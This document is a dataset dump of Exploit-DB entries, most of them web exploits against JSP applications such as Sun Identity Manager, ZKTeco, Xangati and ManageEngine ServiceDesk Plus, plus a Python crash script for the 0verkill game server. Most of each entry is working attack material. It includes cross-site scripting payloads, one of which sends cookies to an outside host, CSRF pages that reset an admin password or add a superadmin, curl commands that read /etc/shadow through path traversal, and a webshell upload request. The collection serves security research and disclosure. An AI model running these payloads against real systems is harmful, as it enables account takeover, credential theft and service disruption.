deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31006
Description: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/help/index.jsp?helpUrl' Remote Frame Injection
Type: webapps
Platform: jsp
Date: 2008-01-09
Author: Jan Fry & Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/27214/info
  
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
  
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
  
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/help/index.jsp?helpUrl=http://www.example2.com
Exploit-DB #31004
Description: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/login.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2008-01-09
Author: Jan Fry & Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/27214/info

Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/login.jsp?lang=en&cntry=--><textarea>THIS+IS+MY+INJECTED+HTML&lt;/textarea&gt;<!--
https://www.example.com/idm/login.jsp?lang=--><script>window.location="http://www.example2.com/?"+document.cookie</script><!--&cntry=
Exploit-DB #31007
Description: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/user/main.jsp?activeControl' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-01-09
Author: Jan Fry & Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/27214/info
   
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
   
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
   
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/user/main.jsp?activeControl=";</script><script>alert(&#039;Running_scripting_within_the_context_of_&#039;%2bdocument.domain)</script>
Exploit-DB #32579
Description: Sun Java System Identity Manager 6.0/7.x - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2008-11-11
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/32262/info


Sun Java System Identity Manager is prone to multiple web-interface vulnerabilities, including a cross-site request-forgery issue, multiple cross-site scripting issues, multiple HTML-injection issues, and a directory-traversal vulnerability.

Successful exploits of many of these issues will allow an attacker to completely compromise the affected application.

These issues affect the following versions:

Sun Java System Identity Manager 6.0
Sun Java System Identity Manager 6.0 SP1
Sun Java System Identity Manager 6.0 SP2
Sun Java System Identity Manager 6.0 SP3
Sun Java System Identity Manager 6.0 SP4
Sun Java System Identity Manager 7.0
Sun Java System Identity Manager 7.1 

<html> <h1>CSRF attack demo - changes administrative password to 'Password19'</h1> <script> var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.[CREDENTIAL_REDACTED].confirm[CREDENTIAL_REDACTED] rd19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; </script> </html>
Exploit-DB #25685
Description: Sun JavaMail 1.3 - API MimeMessage Infromation Disclosure
Type: webapps
Platform: jsp
Date: 2005-05-19
Author: Ricky Latt

Exploit:
source: https://www.securityfocus.com/bid/13683/info

The MimeMessage method in the Sun JavaMail API does not perform sufficient validation on message number values that are passed to the method during requests. An attacker that can successfully authenticate to an email server implementation that is written using the Sun JavaMail API, may exploit this issue to make requests for arbitrary email messages that are stored on the server. 

http://www.example.com/ReadMessage.jsp?msgno=10001
http://www.example.com/ReadMessage.jsp?msgno=10002
Exploit-DB #37467
Description: TEMENOS T24 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2012-06-28
Author: Rehan Ahmed

Exploit:
source: https://www.securityfocus.com/bid/54235/info

TEMENOS T24 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

GET /jsps/genrequest.jsp?&routineName=OS.NEW.USER& routineArgs=BANNER"/><STYLE>@import"javascript:alert ('XSS%20Dangerous')";</STYLE> HTTP/1.1
Exploit-DB #22805
Description: Tmax Soft JEUS 3.1.4 p1 - URL.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2003-06-17
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/7969/info

Reportedly, Tmax Soft JEUS is vulnerable to a cross site-scripting attack. The vulnerability is present in the url.jsp script of the Tmax Soft JEUS server.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link.

It should be noted that although this vulnerability has been reported to affect Tmax Soft JEUS version 3.1.4p1, all version prior to release 3.2.2 are also reported vulnerable.

http://www.example.com/url.jsp?foo=<script>alert('XSS vulnerability exists!')</script>
Exploit-DB #22849
Description: Verity K2 Toolkit 2.20 - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2003-07-02
Author: SSR Team

Exploit:
source: https://www.securityfocus.com/bid/8073/info

It has been reported that Verity K2 Toolkit does not sufficiently filter user-supplied search parameters. 

As a result of this reported deficiency, it may be possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user, if the link is followed.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/[search].jsp?[query]=><img src=javascript:alert(document.cookie)>
Exploit-DB #22857
Description: Verity K2 Toolkit 2.20 Query Builder Search Script - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2003-07-02
Author: SSR Team

Exploit:
source: https://www.securityfocus.com/bid/8074/info

It has been reported that the K2 Toolkit does not sufficiently sanitize input by users. Because of this, it may be possible for an attacker to launch an attack that results in the execution of hostile HTML or script code in the browsers of users that have loaded a malicious link created by the attacker.

http://www.example.com/[search].jsp?[query]=><img src=javascript:alert(document.cookie)>
Exploit-DB #39143
Description: Xangati - '/servlet/Installer?file' Directory Traversal
Type: webapps
Platform: jsp
Date: 2014-04-14
Author: Jan Kadijk

Exploit:
source: https://www.securityfocus.com/bid/66817/info
 
Xangati XSR And XNR are prone to a multiple directory-traversal vulnerabilities.
 
A remote attacker could exploit these vulnerabilities using directory-traversal characters ('../') to access or read arbitrary files that contain sensitive information.
 
Xangati XSR prior to 11 and XNR prior to 7 are vulnerable. 

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&falconConfig=getfile&file=%2Ffloodguard%2F../../../../../../../../../etc/shadow' \
'hxxps://www.example.com/servlet/Installer'
Exploit-DB #39142
Description: Xangati - '/servlet/MGConfigData' Multiple Directory Traversals
Type: webapps
Platform: jsp
Date: 2014-04-14
Author: Jan Kadijk

Exploit:
source: https://www.securityfocus.com/bid/66817/info

Xangati XSR And XNR are prone to a multiple directory-traversal vulnerabilities.

A remote attacker could exploit these vulnerabilities using directory-traversal characters ('../') to access or read arbitrary files that contain sensitive information.

Xangati XSR prior to 11 and XNR prior to 7 are vulnerable. 

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=foo&request=getUpgradeStatus&file=%2Ffloodguard%2Freports%2F../../../../../etc/shadow' \
'hxxps://www.example.com/servlet/MGConfigData'

POST /servlet/MGConfigData HTTP/1.1
key=validkey&request=download&download=%2Ffloodguard%2Fdata%2F../../../../../../etc/shadow&updLaterThan=0&head=0&start=0&limit=4950&remote=www.example.com

POST /servlet/MGConfigData HTTP/1.1
key=validkey&request=port_svc&download=%2Ffloodguard%2Fdata%2F../../../../../../../etc/shadow&updLaterThan=0&remote=www.example.com

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Java/1.7.0_25' \
--data-binary $'key=validkey&binfile=%2Fourlogs%2F../../../../../../../../../etc/shadow' \
'hxxps://www.example.com/servlet/MGConfigData'
Exploit-DB #40328
Description: ZKTeco ZKAccess Security System 5.3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2016-08-31
Author: LiquidWorm

Exploit:
<!--

ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 5.3.12252

Summary: ZKAccess Systems are built on flexible, open technology to provide
management, real-time monitoring, and control of your access control system-all
from a browser, with no additional software to install. Our secure Web-hosted
infrastructure and centralized online administration reduce your IT costs and
allow you to easily manage all of your access points in a single location. C3-100's
versatile design features take care of present and future needs with ease and
efficiency. It is one of the most rugged and reliable controllers on the market,
with a multitude of built-in features. The C3-100 can communicate at 38.4 Kbps
via RS-485 configuration or Ethernet TCP/IP networks. It can store up to 30,000
cardholders.

Desc: Input passed to the 'holiday_name' and 'memo' POST parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected
site.

Tested on: CherryPy/3.1.0beta3 WSGI Server
           Firmware: AC Ver 4.1.9 3893-07 Jan 6 2016
           Python 2.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5368
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5368.php


18.07.2016

-->


<html>
  <body>
    <form action="http://127.0.0.1/data/iaccess/AccHolidays/_new_/?_lock=1" method="POST">
      <input type="hidden" name="pk" value="None" />
      <input type="hidden" name="holiday&#95;name" value=""><script>alert&#40;1&#41;<&#47;script>" />
      <input type="hidden" name="holiday&#95;type" value="1" />
      <input type="hidden" name="start&#95;date" value="09&#47;13&#47;2016" />
      <input type="hidden" name="end&#95;date" value="10&#47;18&#47;2016" />
      <input type="hidden" name="loop&#95;by&#95;year" value="2" />
      <input type="hidden" name="memo" value=""><script>alert&#40;2&#41;<&#47;script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #40325
Description: ZKTeco ZKBioSecurity 3.0 - Cross-Site Request Forgery (Add Superadmin)
Type: webapps
Platform: jsp
Date: 2016-08-31
Author: LiquidWorm

Exploit:
<!--

ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
                  Platform: 3.0.1.0_R_230
                  Personnel: 1.0.1.0_R_1916
                  Access: 6.0.1.0_R_1757
                  Elevator: 2.0.1.0_R_777
                  Visitor: 2.0.1.0_R_877
                  Video:2.0.1.0_R_489
                  Adms: 1.0.1.0_R_197

Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.



Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Apache-Coyote/1.1
           Apache Tomcat/7.0.56


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5364
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php


18.07.2016

-->


<html>
  <body>
    <form action="http://127.0.0.1:8088/authUserAction!edit.action" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="authUser&#46;username" value="thricer" />
      <input type="hidden" name="authUser&#46;loginPwd" value="111111" />
      <input type="hidden" name="repassword" value="111111" />
      <input type="hidden" name="authUser&#46;isActive" value="true" />
      <input type="hidden" name="authUser&#46;isSuperuser" value="true" />
      <input type="hidden" name="groupIds" value="1" />
      <input type="hidden" name="deptIds" value="1" />
      <input type="hidden" name="areaIds" value="1" />
      <input type="hidden" name="authUser&#46;email" value="lab@zeroscience.mk" />
      <input type="hidden" name="authUser&#46;name" value="test" />
      <input type="hidden" name="authUser&#46;lastName" value="lasttest" />
      <input type="hidden" name="fingerTemplate" value="&#13;" />
      <input type="hidden" name="fingerId" value="&#13;" />
      <input type="hidden" name="logMethod" value="add" />
      <input type="hidden" name="un" value="[PII_REDACTED]49_2769" />
      <input type="hidden" name="systemCode" value="base" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
Exploit-DB #40326
Description: ZKTeco ZKBioSecurity 3.0 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2016-08-31
Author: LiquidWorm

Exploit:

ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
                  Platform: 3.0.1.0_R_230
                  Personnel: 1.0.1.0_R_1916
                  Access: 6.0.1.0_R_1757
                  Elevator: 2.0.1.0_R_777
                  Visitor: 2.0.1.0_R_877
                  Video:2.0.1.0_R_489
                  Adms: 1.0.1.0_R_197

Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.

Desc: File path manipulation vulnerabilities arise when user-controllable data
is placed into a file or URL path that is used on the server to access
local resources, which may be within or outside the web root. An attacker can
modify the file path to access different resources, which may contain sensitive
information. Even where an attack is constrained within the web root, it is often
possible to retrieve items that are normally protected from direct access, such
as application configuration files, the source code for server-executable scripts,
or files with extensions that the web server is not configured to serve directly.



Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Apache-Coyote/1.1
           Apache Tomcat/7.0.56


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5365
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5365.php


18.07.2016

--


http://127.0.0.1:8088/baseAction!getPageXML.action?xmlPath=/vid/../WEB-INF/web.xml
Exploit-DB #46413
Description: Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload
Type: webapps
Platform: jsp
Date: 2019-02-18
Author: Dao Duy Hung

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10012 - arbitrary file upload
# Date: 18-02-2019
# Exploit Author: Dao Duy Hung (duyhungattt@gmail.com)
# Vendor Homepage: https://www.manageengine.com/products/service-desk/
# Software Link: https://www.manageengine.com/products/service-desk/download.html?opDownload_indexbnr
# Version: 9.4 and 10.0 before 10.0 build 10012
# Tested on: SDP 10.0 build 10000
# CVE : CVE-2019-8394

Detail:
In file common/FileAttachment.jsp line 332 only check file upload extension when parameter 'module' equal to 'SSP' or 'DashBoard' or 'HomePage', and if parameter 'module' is set to 'CustomLogin' will skip check file upload extension function and upload arbitrary file to folder '/custom/login' and this file can access directly from url 'host:port/custom/login/filename' . An authenticated user with minimum permission (ex: guest) can upload webshell to server.

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
Host: localhost:8080
Content-Length: 508
Accept: */*
Origin: http://localhost:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----aaa
Referer: http://localhost:8080/DashBoard.do
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,vi;q=0.8
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; JSESSIONID=66716A38326AE43058F4A71FCF4E1E42; JSESSIONIDSSO=6970EB5659C20DFF0CF5015D9C91448E; sdpcsrfcookie=ec189770-d1aa-4db3-9a97-36f4ab3db380
Connection: close

------aaa
Content-Disposition: form-data; name="sspsetup"

Attach
------aaa
Content-Disposition: form-data; name="module"

CustomLogin
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.jsp"
Content-Type: text/html

This is shell content
------aaa
Content-Disposition: form-data; name="hmtlcontent"


------aaa--
Exploit-DB #1894
Description: 0verkill 0.16 - ASCII-ART Game Remote Integer Overflow Crash (PoC)
Type: dos
Platform: linux
Date: 2006-06-09
Author: Federico Fazzi

Exploit:
#!/usr/bin/env python
#
# -----------------------------------------------------
# Exploit id: FSE:016
#
# Author:     Federico Fazzi
# Contact:    federico@autistici.org
# Date:	    09/06/2006, 13:58
# Sinthesis:  0verkill 0.16, Remote integer overflow
# Product:    http://artax.karlin.mff.cuni.cz/~brain/0verkill/
# -----------------------------------------------------
#
# Start with:
# python f_0k-0.1.py <remote_addr> <remote_port>
#

# Proof of concept:
# (gdb) run
# Starting program: /home/federico/0verkill-0.16/server
# 9. 6.2006 14:18:07  Running 0verkill server version 0.16
# 9. 6.2006 14:18:07  Initialization.
# 9. 6.2006 14:18:07  Loading sprites.
# 9. 6.2006 14:18:07  Loading level "level1"....
# 9. 6.2006 14:18:07  Loading level graphics.
# 9. 6.2006 14:18:08  Loading level map.
# 9. 6.2006 14:18:08  Loading level objects.
# 9. 6.2006 14:18:08  Initializing socket.
# 9. 6.2006 14:18:08  Installing signal handlers.
# 9. 6.2006 14:18:08  Game started.
# 9. 6.2006 14:18:08  Sleep
# 9. 6.2006 14:18:10  Wakeup
#
# (run python f_0k-0.6.py)
#
# Program received signal SIGSEGV, Segmentation fault.
# crc32 (buf=0x837a000 <Address 0x837a000 out of bounds>, len=[PII_REDACTED]) at crc32.c:82
# warning: Source file is more recent than executable.
# 82            DO8(buf);
#
# #0  0x0805b54a in recv_packet (packet=0x805fd20 "",
# max_len=256, addr=0xf18df475, addr_len=0xf18df475, sender_server=0, recipient=0,
# sender=0xbfcf6d54) at net.c:94
# 94              if (crc!=crc32(packet,retval-12))return -1;
#
# limits byte receive is 12, if you send an inferior number of it
# the game crash.

import os, sys
from socket import *

usage = "run: python %s [remote_addr] [remote_port] " % os.path.basename(sys.argv[0])

if len(sys.argv) < 3: 
	print usage 
	sys.exit()

host = sys.argv[1]
port = int(sys.argv[2])

sock = socket(AF_INET, SOCK_DGRAM)
sock.connect((host, port))

print "connecting.. ",
if sock > 0:
    print "done!"
else:
    print "wrong!"

print "crashing the server.. ",
if sock.sendto('0x00' , (host, port)):
    print "done!"
else:
    print "wrong!"

print "wait five seconds, if no data found press CTRL+C"
try:
	reply = sock.recvfrom(512)
	print reply
except:
	print "no data receive!"
	sys.exit()

# milw0rm.com [2006-06-09]